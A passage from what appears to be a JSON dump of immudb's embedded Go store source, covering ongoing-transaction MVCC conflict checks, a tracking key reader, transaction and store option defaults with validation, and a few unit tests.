!= nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (tx *OngoingTx) Closed() bool {\n\treturn tx.closed\n}\n\nfunc (tx *OngoingTx) hasPreconditions() bool {\n\treturn len(tx.preconditions) > 0 || (tx.mvccReadSet != nil && !tx.mvccReadSet.isEmpty())\n}\n\nfunc (tx *OngoingTx) checkPreconditions(ctx context.Context, st *ImmuStore) error {\n\tfor _, c := range tx.preconditions {\n\t\tif c == nil {\n\t\t\treturn ErrInvalidPreconditionNull\n\t\t}\n\t\tok, err := c.Check(ctx, st)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error checking %s precondition: %w\", c, err)\n\t\t}\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"%w: %s\", ErrPreconditionFailed, c)\n\t\t}\n\t}\n\n\tif tx.IsWriteOnly() {\n\t\t// read-only transactions won't be invalidated\n\t\treturn nil\n\t}\n\n\tfor _, txSnap := range tx.snapshots {\n\t\tif txSnap.Ts() > st.LastPrecommittedTxID() {\n\t\t\t// read-write transactions when no other transaction was committed won't be invalidated\n\t\t\treturn nil\n\t\t}\n\n\t\t// current snapshot is fetched without flushing\n\t\tsnap, err := st.syncSnapshot(txSnap.prefix)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer snap.Close()\n\n\t\tfor _, e := range tx.mvccReadSet.expectedGets {\n\t\t\tif !hasPrefix(e.key, txSnap.prefix) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tvalRef, err := snap.GetWithFilters(ctx, e.key, e.filters...)\n\t\t\tif errors.Is(err, ErrKeyNotFound) {\n\t\t\t\tif e.expectedTx > 0 {\n\t\t\t\t\treturn ErrTxReadConflict\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tif e.expectedTx != valRef.Tx() {\n\t\t\t\treturn ErrTxReadConflict\n\t\t\t}\n\t\t}\n\n\t\tfor _, e := range tx.mvccReadSet.expectedGetsWithPrefix {\n\t\t\tif !hasPrefix(e.prefix, txSnap.prefix) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tkey, valRef, err := snap.GetWithPrefixAndFilters(ctx, e.prefix, e.neq, e.filters...)\n\t\t\tif errors.Is(err, ErrKeyNotFound) {\n\t\t\t\tif e.expectedTx > 0 {\n\t\t\t\t\treturn ErrTxReadConflict\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tif !bytes.Equal(e.expectedKey, key) || e.expectedTx != valRef.Tx() {\n\t\t\t\treturn ErrTxReadConflict\n\t\t\t}\n\t\t}\n\n\t\tfor _, eReader := range tx.mvccReadSet.expectedReaders {\n\t\t\tif !hasPrefix(eReader.spec.Prefix, txSnap.prefix) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\trspec := KeyReaderSpec{\n\t\t\t\tSeekKey:       eReader.spec.SeekKey,\n\t\t\t\tEndKey:        eReader.spec.EndKey,\n\t\t\t\tPrefix:        eReader.spec.Prefix,\n\t\t\t\tInclusiveSeek: eReader.spec.InclusiveSeek,\n\t\t\t\tInclusiveEnd:  eReader.spec.InclusiveEnd,\n\t\t\t\tDescOrder:     eReader.spec.DescOrder,\n\t\t\t}\n\n\t\t\treader, err := snap.NewKeyReader(rspec)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tdefer reader.Close()\n\n\t\t\tfor _, eReads := range eReader.expectedReads {\n\t\t\t\tvar key []byte\n\t\t\t\tvar valRef ValueRef\n\n\t\t\t\tfor _, eRead := range eReads {\n\n\t\t\t\t\tif len(key) == 0 {\n\t\t\t\t\t\tif eRead.initialTxID == 0 && eRead.finalTxID == 0 {\n\t\t\t\t\t\t\tkey, valRef, err = reader.Read(ctx)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tkey, valRef, err = reader.ReadBetween(ctx, eRead.initialTxID, eRead.finalTxID)\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif err != nil && !errors.Is(err, ErrNoMoreEntries) {\n\t\t\t\t\t\t\treturn err\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif eRead.expectedNoMoreEntries {\n\t\t\t\t\t\tif err == nil {\n\t\t\t\t\t\t\treturn fmt.Errorf(\"%w: fetching more entries than expected\", ErrTxReadConflict)\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\n\t\t\t\t\tif eRead.expectedTx == 0 {\n\t\t\t\t\t\tif err == nil && bytes.Equal(eRead.expectedKey, key) {\n\t\t\t\t\t\t\t// key was updated by the transaction\n\t\t\t\t\t\t\tkey = nil\n\t\t\t\t\t\t\tvalRef = nil\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif errors.Is(err, ErrNoMoreEntries) {\n\t\t\t\t\t\t\treturn fmt.Errorf(\"%w: fetching less entries than expected\", ErrTxReadConflict)\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif !bytes.Equal(eRead.expectedKey, key) || eRead.expectedTx != valRef.Tx() {\n\t\t\t\t\t\t\treturn fmt.Errorf(\"%w: fetching a different key or an updated one\", ErrTxReadConflict)\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tkey = nil\n\t\t\t\t\t\tvalRef = nil\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\terr = reader.Reset()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (tx *OngoingTx) validateAgainst(hdr *TxHeader) error {\n\tif hdr == nil {\n\t\treturn nil\n\t}\n\n\tif len(tx.entries) != hdr.NEntries {\n\t\treturn fmt.Errorf(\"%w: number of entries differs\", ErrIllegalArguments)\n\t}\n\n\tif tx.metadata != nil {\n\t\tif !tx.metadata.Equal(hdr.Metadata) {\n\t\t\treturn fmt.Errorf(\"%w: metadata differs\", ErrIllegalArguments)\n\t\t}\n\t} else if hdr.Metadata != nil {\n\t\tif !hdr.Metadata.Equal(tx.metadata) {\n\t\t\treturn fmt.Errorf(\"%w: metadata differs\", ErrIllegalArguments)\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (tx *OngoingTx) Context() context.Context {\n\treturn tx.ctx\n}\n\nfunc cp(s []byte) []byte {\n\tif s == nil {\n\t\treturn nil\n\t}\n\n\tc := make([]byte, len(s))\n\tcopy(c, s)\n\n\treturn c\n}\n"
  },
  {
    "path": "embedded/store/ongoing_tx_keyreader.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"context\"\n\t\"errors\"\n)\n\ntype expectedReader struct {\n\tspec          KeyReaderSpec\n\texpectedReads [][]expectedRead // multiple []expectedRead may be generated if the reader is reset\n\ti             int              // it matches with reset count, used to point to the latest []expectedRead\n}\n\ntype expectedRead struct {\n\tinitialTxID uint64\n\tfinalTxID   uint64\n\n\texpectedKey []byte\n\texpectedTx  uint64 // expectedTx = 0 means the entry was updated/created by the ongoing transaction\n\n\texpectedNoMoreEntries bool\n}\n\n// ongoingTxKeyReader wraps a keyReader and keeps track of read entries\n// read entries are validated against the current database state at commit time\ntype ongoingTxKeyReader struct {\n\ttx *OngoingTx\n\n\tkeyReader KeyReader\n\toffset    uint64 // offset and filtering is handled by the wrapper in order to have full control of read entries\n\tskipped   uint64\n\n\texpectedReader *expectedReader\n}\n\nfunc newExpectedReader(spec KeyReaderSpec) *expectedReader {\n\treturn &expectedReader{\n\t\tspec:          spec,\n\t\texpectedReads: make([][]expectedRead, 1),\n\t}\n}\n\nfunc newOngoingTxKeyReader(tx *OngoingTx, spec KeyReaderSpec) (*ongoingTxKeyReader, error) {\n\tif tx.mvccReadSetLimitReached() {\n\t\treturn nil, ErrMVCCReadSetLimitExceeded\n\t}\n\n\tsnap, err := tx.snap(spec.Prefix)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trspec := KeyReaderSpec{\n\t\tSeekKey:       spec.SeekKey,\n\t\tEndKey:        spec.EndKey,\n\t\tPrefix:        spec.Prefix,\n\t\tInclusiveSeek: spec.InclusiveSeek,\n\t\tInclusiveEnd:  spec.InclusiveEnd,\n\t\tDescOrder:     spec.DescOrder,\n\t}\n\n\tkeyReader, err := snap.NewKeyReader(rspec)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\texpectedReader := newExpectedReader(spec)\n\n\ttx.mvccReadSet.expectedReaders = append(tx.mvccReadSet.expectedReaders, expectedReader)\n\ttx.mvccReadSet.readsetSize++\n\n\treturn &ongoingTxKeyReader{\n\t\ttx:             tx,\n\t\tkeyReader:      keyReader,\n\t\toffset:         spec.Offset,\n\t\texpectedReader: expectedReader,\n\t}, nil\n}\n\nfunc (r *ongoingTxKeyReader) Read(ctx context.Context) (key []byte, val ValueRef, err error) {\n\treturn r.ReadBetween(ctx, 0, 0)\n}\n\nfunc (r *ongoingTxKeyReader) ReadBetween(ctx context.Context, initialTxID, finalTxID uint64) (key []byte, valRef ValueRef, err error) {\n\tfor {\n\t\tif initialTxID == 0 && finalTxID == 0 {\n\t\t\tkey, valRef, err = r.keyReader.Read(ctx)\n\t\t} else {\n\t\t\tkey, valRef, err = r.keyReader.ReadBetween(ctx, initialTxID, finalTxID)\n\t\t}\n\n\t\tif errors.Is(err, ErrNoMoreEntries) {\n\t\t\texpectedRead := expectedRead{\n\t\t\t\tinitialTxID:           initialTxID,\n\t\t\t\tfinalTxID:             finalTxID,\n\t\t\t\texpectedNoMoreEntries: true,\n\t\t\t}\n\n\t\t\tif r.tx.mvccReadSet.readsetSize == r.tx.st.mvccReadSetLimit {\n\t\t\t\treturn nil, nil, ErrMVCCReadSetLimitExceeded\n\t\t\t}\n\n\t\t\tr.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead)\n\t\t\tr.tx.mvccReadSet.readsetSize++\n\t\t}\n\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\n\t\texpectedRead := expectedRead{\n\t\t\tinitialTxID: initialTxID,\n\t\t\tfinalTxID:   finalTxID,\n\t\t\texpectedKey: cp(key),\n\t\t\texpectedTx:  valRef.Tx(),\n\t\t}\n\n\t\tif r.tx.mvccReadSet.readsetSize == r.tx.st.mvccReadSetLimit {\n\t\t\treturn nil, nil, ErrMVCCReadSetLimitExceeded\n\t\t}\n\n\t\tr.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead)\n\t\tr.tx.mvccReadSet.readsetSize++\n\n\t\tfilterEntry := false\n\n\t\tfor _, filter := range r.expectedReader.spec.Filters {\n\t\t\terr = filter(valRef, r.tx.Timestamp())\n\t\t\tif err != nil {\n\t\t\t\tfilterEntry = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tif filterEntry {\n\t\t\tcontinue\n\t\t}\n\n\t\tif r.skipped < r.offset {\n\t\t\tr.skipped++\n\t\t\tcontinue\n\t\t}\n\n\t\treturn key, valRef, nil\n\t}\n}\n\nfunc (r *ongoingTxKeyReader) Reset() error {\n\terr := r.keyReader.Reset()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif r.tx.mvccReadSet.readsetSize == r.tx.st.mvccReadSetLimit {\n\t\treturn ErrMVCCReadSetLimitExceeded\n\t}\n\n\tr.expectedReader.expectedReads = append(r.expectedReader.expectedReads, nil)\n\tr.expectedReader.i++\n\n\tr.tx.mvccReadSet.readsetSize++\n\n\treturn nil\n}\n\nfunc (r *ongoingTxKeyReader) Close() error {\n\treturn r.keyReader.Close()\n}\n"
  },
  {
    "path": "embedded/store/ongoing_tx_options.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"fmt\"\n\t\"time\"\n)\n\ntype TxMode int\n\nconst (\n\tReadOnlyTx TxMode = iota\n\tWriteOnlyTx\n\tReadWriteTx\n)\n\ntype TxOptions struct {\n\tMode TxMode\n\t// SnapshotMustIncludeTxID is a function which receives the latest precommitted transaction ID as parameter.\n\t// It gives the possibility to reuse a snapshot which includes a percentage of the transactions already indexed\n\t// e.g. func(lastPrecommittedTxID uint64) uint64 { return  lastPrecommittedTxID * 90 / 100 }\n\t// or just a fixed transaction ID e.g. func(_ uint64) uint64 { return  1_000 }\n\tSnapshotMustIncludeTxID func(lastPrecommittedTxID uint64) uint64\n\t// SnapshotRenewalPeriod determines for how long a snaphsot may reuse existent dumped root\n\tSnapshotRenewalPeriod time.Duration\n\n\t// MVCC does not wait for indexing to be up to date\n\tUnsafeMVCC bool\n}\n\nfunc DefaultTxOptions() *TxOptions {\n\treturn &TxOptions{\n\t\tMode: ReadWriteTx,\n\t\tSnapshotMustIncludeTxID: func(lastPrecommittedTxID uint64) uint64 {\n\t\t\treturn lastPrecommittedTxID\n\t\t},\n\t\tUnsafeMVCC: false,\n\t}\n}\n\nfunc (opts *TxOptions) Validate() error {\n\tif opts == nil {\n\t\treturn fmt.Errorf(\"%w: nil options\", ErrInvalidOptions)\n\t}\n\n\tif opts.Mode != ReadOnlyTx && opts.Mode != WriteOnlyTx && opts.Mode != ReadWriteTx {\n\t\treturn fmt.Errorf(\"%w: invalid transaction mode\", ErrInvalidOptions)\n\t}\n\n\treturn nil\n}\n\nfunc (opts *TxOptions) WithMode(mode TxMode) *TxOptions {\n\topts.Mode = mode\n\treturn opts\n}\n\nfunc (opts *TxOptions) WithSnapshotMustIncludeTxID(snapshotMustIncludeTxID func(lastPrecommittedTxID uint64) uint64) *TxOptions {\n\topts.SnapshotMustIncludeTxID = snapshotMustIncludeTxID\n\treturn opts\n}\n\nfunc (opts *TxOptions) WithSnapshotRenewalPeriod(snapshotRenewalPeriod time.Duration) *TxOptions {\n\topts.SnapshotRenewalPeriod = snapshotRenewalPeriod\n\treturn opts\n}\n\nfunc (opts *TxOptions) WithUnsafeMVCC(unsafeMVCC bool) *TxOptions {\n\topts.UnsafeMVCC = unsafeMVCC\n\treturn opts\n}\n"
  },
  {
    "path": "embedded/store/ongoing_tx_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"context\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestOngoingTXAddPrecondition(t *testing.T) {\n\totx := OngoingTx{\n\t\tst: &ImmuStore{\n\t\t\tmaxKeyLen: 10,\n\t\t},\n\t}\n\n\terr := otx.AddPrecondition(nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\terr = otx.AddPrecondition(&PreconditionKeyMustExist{})\n\trequire.ErrorIs(t, err, ErrInvalidPrecondition)\n\n\totx.closed = true\n\terr = otx.AddPrecondition(&PreconditionKeyMustExist{\n\t\tKey: []byte(\"key\"),\n\t})\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n}\n\nfunc TestOngoingTxCheckPreconditionsCornerCases(t *testing.T) {\n\tst, err := Open(t.TempDir(), DefaultOptions())\n\trequire.NoError(t, err)\n\n\tdefer immustoreClose(t, st)\n\n\totx := &OngoingTx{}\n\n\terr = otx.checkPreconditions(context.Background(), st)\n\trequire.NoError(t, err)\n\n\totx.preconditions = []Precondition{nil}\n\terr = otx.checkPreconditions(context.Background(), st)\n\trequire.ErrorIs(t, err, ErrInvalidPrecondition)\n\trequire.ErrorIs(t, err, ErrInvalidPreconditionNull)\n\n\terr = st.Close()\n\trequire.NoError(t, err)\n\n\totx.preconditions = []Precondition{\n\t\t&PreconditionKeyMustExist{Key: []byte{1}},\n\t}\n\terr = otx.checkPreconditions(context.Background(), st)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\totx.preconditions = []Precondition{\n\t\t&PreconditionKeyMustNotExist{Key: []byte{1}},\n\t}\n\terr = otx.checkPreconditions(context.Background(), st)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\totx.preconditions = []Precondition{\n\t\t&PreconditionKeyNotModifiedAfterTx{Key: []byte{1}, TxID: 1},\n\t}\n\terr = otx.checkPreconditions(context.Background(), st)\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n}\n\nfunc TestOngoingTxOptions(t *testing.T) {\n\tvar opts *TxOptions\n\trequire.Error(t, opts.Validate())\n\n\topts = &TxOptions{}\n\trequire.Equal(t, TxMode(4), opts.WithMode(4).Mode)\n\trequire.Error(t, opts.Validate())\n\n\trequire.Equal(t, 1*time.Hour, opts.WithSnapshotRenewalPeriod(1*time.Hour).SnapshotRenewalPeriod)\n\trequire.EqualValues(t, 1, opts.WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 1 }).SnapshotMustIncludeTxID(100))\n\trequire.True(t, opts.WithUnsafeMVCC(true).UnsafeMVCC)\n}\n"
  },
  {
    "path": "embedded/store/options.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/ahtree\"\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/appendable/multiapp\"\n\t\"github.com/codenotary/immudb/embedded/cache\"\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/embedded/tbtree\"\n\t\"github.com/codenotary/immudb/pkg/helpers/semaphore\"\n)\n\nconst DefaultMaxActiveTransactions = 1000\nconst DefaultMVCCReadSetLimit = 100_000\nconst DefaultMaxConcurrency = 30\nconst DefaultMaxIOConcurrency = 1\nconst DefaultMaxTxEntries = 1 << 10 // 1024\nconst DefaultMaxKeyLen = 1024\nconst DefaultMaxValueLen = 4096 // 4Kb\nconst DefaultSyncFrequency = 20 * time.Millisecond\nconst DefaultFileMode = os.FileMode(0755)\nconst DefaultFileSize = multiapp.DefaultFileSize\nconst DefaultCompressionFormat = appendable.DefaultCompressionFormat\nconst DefaultCompressionLevel = appendable.DefaultCompressionLevel\nconst DefaultEmbeddedValues = false\nconst DefaultPreallocFiles = false\nconst DefaultTxLogCacheSize = 1000\nconst DefaultVLogCacheSize = 0\nconst DefaultMaxWaitees = 1000\nconst DefaultVLogMaxOpenedFiles = 10\nconst DefaultTxLogMaxOpenedFiles = 10\nconst DefaultCommitLogMaxOpenedFiles = 10\nconst DefaultWriteTxHeaderVersion = MaxTxHeaderVersion\nconst DefaultWriteBufferSize = 1 << 22 //4Mb\nconst DefaultIndexingMaxBulkSize = 1\nconst DefaultIndexingGlobalMaxBufferedDataSize = 1 << 30\nconst DefaultBulkPreparationTimeout = DefaultSyncFrequency\nconst DefaultTruncationFrequency = 24 * time.Hour\nconst MinimumRetentionPeriod = 24 * time.Hour\nconst MinimumTruncationFrequency = 1 * time.Hour\n\nconst MaxFileSize = (1 << 31) - 1 // 2Gb\n\ntype AppFactoryFunc func(\n\trootPath string,\n\tsubPath string,\n\topts *multiapp.Options,\n) (appendable.Appendable, error)\n\ntype AppRemoveFunc func(rootPath, subPath string) error\n\ntype IndexCacheFactoryFunc func() *cache.Cache\n\ntype IndexMemSemaphoreFactoryFunc func() *semaphore.Semaphore\n\ntype TimeFunc func() time.Time\n\ntype FlushFunc func() error\n\ntype Options struct {\n\tReadOnly bool\n\n\t// Fsync during commit process\n\tSynced bool\n\n\t// Fsync frequency during commit process\n\tSyncFrequency time.Duration\n\n\t// Size of the in-memory buffer for write operations\n\tWriteBufferSize int\n\n\tFileMode os.FileMode\n\n\tlogger logger.Logger\n\n\tappFactory AppFactoryFunc\n\n\tappRemove AppRemoveFunc\n\n\tCompactionDisabled bool\n\n\t// Maximum number of pre-committed transactions\n\tMaxActiveTransactions int\n\n\t// Limit the number of read entries per transaction\n\tMVCCReadSetLimit int\n\n\t// Maximum number of simultaneous commits prepared for write\n\tMaxConcurrency int\n\n\t// Maximum number of simultaneous IO writes\n\tMaxIOConcurrency int\n\n\t// Size of the cache for transaction logs\n\tTxLogCacheSize int\n\n\t// Maximum number of simultaneous value files opened\n\tVLogMaxOpenedFiles int\n\n\t// Size of the cache for value logs\n\tVLogCacheSize int\n\n\t// Maximum number of simultaneous transaction log files opened\n\tTxLogMaxOpenedFiles int\n\n\t// Maximum number of simultaneous commit log files opened\n\tCommitLogMaxOpenedFiles int\n\n\t// Version of transaction header to use (limits available features)\n\tWriteTxHeaderVersion int\n\n\t// Maximum number of go-routines waiting for specific transactions to be in a committed or indexed state\n\tMaxWaitees int\n\n\tTimeFunc TimeFunc\n\n\tUseExternalCommitAllowance bool\n\n\tMultiIndexing bool\n\n\t// options below are only set during initialization and stored as metadata\n\tMaxTxEntries      int\n\tMaxKeyLen         int\n\tMaxValueLen       int\n\tFileSize          int\n\tCompressionFormat int\n\tCompressionLevel  int\n\tEmbeddedValues    bool\n\tPreallocFiles     bool\n\n\t// options below affect indexing\n\tIndexOpts *IndexOptions\n\n\t// options below affect appendable hash tree\n\tAHTOpts *AHTOptions\n}\n\ntype IndexOptions struct {\n\t// Global limit for amount of data that can be buffered from all indexes\n\tMaxGlobalBufferedDataSize int\n\n\t// MaxBufferedDataSize\n\tMaxBufferedDataSize int\n\n\t// Size (in bytes) of the Btree node cache\n\tCacheSize int\n\n\t// Number of new index entries between disk flushes\n\tFlushThld int\n\n\t// Number of new index entries between disk flushes with file sync\n\tSyncThld int\n\n\t// Size of the in-memory flush buffer (in bytes)\n\tFlushBufferSize int\n\n\t// Percentage of node files cleaned up during each flush\n\tCleanupPercentage float32\n\n\t// Maximum number of active btree snapshots\n\tMaxActiveSnapshots int\n\n\t// Max size of a single Btree node in bytes\n\tMaxNodeSize int\n\n\t// Time between the most recent DB snapshot is automatically renewed\n\tRenewSnapRootAfter time.Duration\n\n\t// Minimum number of updates entries in the btree to allow for full compaction\n\tCompactionThld int\n\n\t// Additional delay added during indexing when full compaction is in progress\n\tDelayDuringCompaction time.Duration\n\n\t// Maximum number of simultaneously opened nodes files\n\tNodesLogMaxOpenedFiles int\n\n\t// Maximum number of simultaneously opened node history files\n\tHistoryLogMaxOpenedFiles int\n\n\t// Maximum number of simultaneously opened commit log files\n\tCommitLogMaxOpenedFiles int\n\n\t// Maximum number of transactions indexed together\n\tMaxBulkSize int\n\n\t// Maximum time waiting for more transactions to be committed and included into the same bulk\n\tBulkPreparationTimeout time.Duration\n}\n\ntype AHTOptions struct {\n\t// Number of new leaves in the tree between synchronous flush to disk\n\tSyncThld int\n\n\t// Size of the in-memory write buffer\n\tWriteBufferSize int\n}\n\nfunc DefaultOptions() *Options {\n\treturn &Options{\n\t\tReadOnly:        false,\n\t\tWriteBufferSize: DefaultWriteBufferSize,\n\t\tSynced:          true,\n\t\tSyncFrequency:   DefaultSyncFrequency,\n\t\tFileMode:        DefaultFileMode,\n\t\tlogger:          logger.NewSimpleLogger(\"immudb \", os.Stderr),\n\n\t\tMaxActiveTransactions: DefaultMaxActiveTransactions,\n\t\tMVCCReadSetLimit:      DefaultMVCCReadSetLimit,\n\n\t\tMaxConcurrency:   DefaultMaxConcurrency,\n\t\tMaxIOConcurrency: DefaultMaxIOConcurrency,\n\n\t\tTxLogCacheSize: DefaultTxLogCacheSize,\n\t\tVLogCacheSize:  DefaultVLogCacheSize,\n\n\t\tVLogMaxOpenedFiles:      DefaultVLogMaxOpenedFiles,\n\t\tTxLogMaxOpenedFiles:     DefaultTxLogMaxOpenedFiles,\n\t\tCommitLogMaxOpenedFiles: DefaultCommitLogMaxOpenedFiles,\n\n\t\tMaxWaitees: DefaultMaxWaitees,\n\n\t\tTimeFunc: func() time.Time {\n\t\t\treturn time.Now()\n\t\t},\n\n\t\tWriteTxHeaderVersion: DefaultWriteTxHeaderVersion,\n\n\t\t// options below are only set during initialization and stored as metadata\n\t\tMaxTxEntries:      DefaultMaxTxEntries,\n\t\tMaxKeyLen:         DefaultMaxKeyLen,\n\t\tMaxValueLen:       DefaultMaxValueLen,\n\t\tFileSize:          DefaultFileSize,\n\t\tCompressionFormat: DefaultCompressionFormat,\n\t\tCompressionLevel:  DefaultCompressionLevel,\n\t\tEmbeddedValues:    DefaultEmbeddedValues,\n\t\tPreallocFiles:     DefaultPreallocFiles,\n\n\t\tIndexOpts: DefaultIndexOptions(),\n\t\tAHTOpts:   DefaultAHTOptions(),\n\t}\n}\n\nfunc DefaultIndexOptions() *IndexOptions {\n\treturn &IndexOptions{\n\t\tMaxGlobalBufferedDataSize: DefaultIndexingGlobalMaxBufferedDataSize,\n\t\tMaxBufferedDataSize:       tbtree.DefaultMaxBufferedDataSize,\n\t\tCacheSize:                 tbtree.DefaultCacheSize,\n\t\tFlushThld:                 tbtree.DefaultFlushThld,\n\t\tSyncThld:                  tbtree.DefaultSyncThld,\n\t\tFlushBufferSize:           tbtree.DefaultFlushBufferSize,\n\t\tCleanupPercentage:         tbtree.DefaultCleanUpPercentage,\n\t\tMaxActiveSnapshots:        tbtree.DefaultMaxActiveSnapshots,\n\t\tMaxNodeSize:               tbtree.DefaultMaxNodeSize,\n\t\tRenewSnapRootAfter:        tbtree.DefaultRenewSnapRootAfter,\n\t\tCompactionThld:            tbtree.DefaultCompactionThld,\n\t\tDelayDuringCompaction:     0,\n\t\tNodesLogMaxOpenedFiles:    tbtree.DefaultNodesLogMaxOpenedFiles,\n\t\tHistoryLogMaxOpenedFiles:  tbtree.DefaultHistoryLogMaxOpenedFiles,\n\t\tCommitLogMaxOpenedFiles:   tbtree.DefaultCommitLogMaxOpenedFiles,\n\n\t\tMaxBulkSize:            DefaultIndexingMaxBulkSize,\n\t\tBulkPreparationTimeout: DefaultBulkPreparationTimeout,\n\t}\n}\n\nfunc DefaultAHTOptions() *AHTOptions {\n\treturn &AHTOptions{\n\t\tSyncThld:        ahtree.DefaultSyncThld,\n\t\tWriteBufferSize: ahtree.DefaultWriteBufferSize,\n\t}\n}\n\nfunc (opts *Options) Validate() error {\n\tif opts == nil {\n\t\treturn fmt.Errorf(\"%w: nil options\", ErrInvalidOptions)\n\t}\n\n\tif opts.WriteBufferSize <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid WriteBufferSize\", ErrInvalidOptions)\n\t}\n\tif opts.SyncFrequency < 0 {\n\t\treturn fmt.Errorf(\"%w: invalid SyncFrequency\", ErrInvalidOptions)\n\t}\n\n\tif opts.MaxActiveTransactions <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid MaxActiveTransactions\", ErrInvalidOptions)\n\t}\n\n\tif opts.MVCCReadSetLimit <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid MVCCReadSetLimit\", ErrInvalidOptions)\n\t}\n\n\tif opts.MaxConcurrency <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid MaxConcurrency\", ErrInvalidOptions)\n\t}\n\n\tif opts.MaxIOConcurrency <= 0 ||\n\t\topts.MaxIOConcurrency > MaxParallelIO ||\n\t\t(opts.MaxIOConcurrency > 1 && opts.EmbeddedValues) {\n\t\treturn fmt.Errorf(\"%w: invalid MaxIOConcurrency\", ErrInvalidOptions)\n\t}\n\n\tif opts.VLogMaxOpenedFiles <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid VLogMaxOpenedFiles\", ErrInvalidOptions)\n\t}\n\tif opts.TxLogMaxOpenedFiles <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid TxLogMaxOpenedFiles\", ErrInvalidOptions)\n\t}\n\tif opts.CommitLogMaxOpenedFiles <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid CommitLogMaxOpenedFiles\", ErrInvalidOptions)\n\t}\n\n\tif opts.TxLogCacheSize <= 0 {\n\t\treturn fmt.Errorf(\"%w: invalid TxLogCacheSize\", ErrInvalidOptions)\n\t}\n\n\tif opts.VLogCacheSize < 0 {\n\t\treturn fmt.Errorf(\"%w: invalid VLogCacheSize\", ErrInvalidOptions)\n\t}\n\n\tif opts.MaxWaitees < 0 